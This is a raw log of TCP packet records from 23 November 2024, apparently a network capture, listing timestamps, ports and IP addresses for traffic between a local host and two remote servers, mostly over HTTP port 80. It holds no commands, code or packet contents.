Nov 23, 2024 21:15:22.292707920 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.293663025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.293741941 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.358668089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.358822107 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.358859062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.358915091 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.358939886 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.358989954 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.359034061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.359082937 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.359899998 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.359962940 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.360058069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.360122919 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.360970974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.361027002 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.361100912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.361156940 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.361845970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.361912012 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.361987114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.362067938 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.362890005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.362961054 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.363007069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.363118887 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.363787889 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.363883018 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.363995075 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.364097118 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.364765882 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.364816904 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.364892960 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.364942074 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.365722895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.365783930 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.366219997 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.366352081 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.366722107 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.366811037 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.367070913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.367130995 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.367741108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.367834091 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.367957115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.368006945 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.368670940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.368738890 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.368805885 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.368854046 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.369626999 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.369710922 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.369719028 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.369816065 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.370609045 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.370649099 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.370683908 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.370712996 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.371586084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.371649027 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.371710062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.371829987 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.372580051 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.372672081 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.372726917 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.373554945 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.373610020 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.374629021 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.374648094 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.374666929 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.374722004 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.375541925 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.375561953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.375593901 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.375626087 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.376506090 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.376547098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.376597881 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.376610994 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.377434969 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.377511024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.378288984 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.378377914 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.378453970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.378474951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.378529072 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.379400969 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.379470110 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.379873991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.379940033 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.380424023 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.380444050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.380491972 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.381354094 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.381524086 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.382373095 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.382392883 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.382421970 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.382460117 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.382467985 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.382507086 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.383394003 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.383500099 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.384318113 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.384337902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.384372950 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.384394884 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.384421110 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.385268927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.385360003 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.385921001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.386116028 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.386173964 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.386226892 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.386363029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.386430025 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.387279987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.387301922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.387340069 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.387424946 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.388175011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.388232946 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.389015913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.389091969 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.389153004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.389172077 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.389233112 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.390131950 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.390198946 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.391171932 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.391190052 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.391262054 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.391307116 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.391377926 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.392149925 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.392168045 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.392232895 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.393075943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.393147945 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.394098997 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.394119024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.394220114 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.394236088 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.394346952 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.395112038 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.395173073 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.395217896 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.395277977 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.396014929 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.396106958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.396107912 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.396161079 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.396923065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.397028923 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.397058964 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.397131920 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.398041010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.398123026 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.398289919 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.398339987 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.398952007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.399010897 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.399060011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.399075031 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.399432898 CET	443	49716	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:22.399528980 CET	49716	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:22.399785995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.399844885 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.399902105 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.399970055 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.400799990 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.400859118 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.400902033 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.400955915 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.401233912 CET	49716	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:22.401251078 CET	443	49716	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:22.401578903 CET	443	49716	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:22.401761055 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.401812077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.401871920 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.401926994 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.402764082 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.402873039 CET	49716	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:22.402874947 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.402920961 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.402947903 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.403103113 CET	49716	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:22.403143883 CET	443	49716	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:22.403698921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.403799057 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.403834105 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.403887033 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.404697895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.404787064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.404823065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.404938936 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.405633926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.405704975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.405706882 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.405777931 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.406681061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.406743050 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.501116037 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.501197100 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.501411915 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.501615047 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.501693964 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.501714945 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.501765966 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.502506018 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.502561092 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.502986908 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.503122091 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.503474951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.503540993 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.569452047 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.569530010 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.569582939 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.569662094 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.569904089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.569962978 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.570071936 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.570123911 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.570895910 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.570952892 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.571090937 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.571142912 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.571891069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.571954966 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.572413921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.572491884 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.572844028 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.572910070 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.573026896 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.573092937 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.573817015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.573893070 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.573935032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.573998928 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.574773073 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.574856043 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.574949980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.575037003 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.575754881 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.575814962 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.576204062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.576278925 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.576733112 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.576795101 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.576972008 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.577023983 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.577708006 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.577749014 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.577785015 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.578661919 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.578727007 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.578788042 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.578845024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.579665899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.579731941 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.579993010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.580096006 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.580610991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.580662966 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.580725908 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.580812931 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.581594944 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.581644058 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.581687927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.581769943 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.582570076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.582621098 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.583009005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.583061934 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.583539963 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.583600044 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.583662033 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.583715916 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.584543943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.584609032 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.584645033 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.584714890 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.585494995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.585599899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.585609913 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.585669041 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.586604118 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.586678982 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.586745024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.586807966 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.587543011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.587599993 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.587654114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.587719917 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.588413000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.588511944 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.588606119 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.588655949 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.589374065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.589423895 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.589571953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.589628935 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.590370893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.590410948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.590440035 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.590473890 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.591355085 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.591420889 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.591481924 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.591541052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.592278004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.592335939 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.592406988 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.592495918 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.593260050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.593313932 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.593699932 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.593827009 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.594249964 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.594310999 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.594453096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.594512939 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.595213890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.595293045 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.595550060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.595612049 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.596194029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.596266985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.596400023 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.596455097 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.597157955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.597218037 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.597332001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.597379923 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.598954916 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.598992109 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.599050045 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.599128962 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.599242926 CET	49715	80	192.168.2.8	185.215.113.16
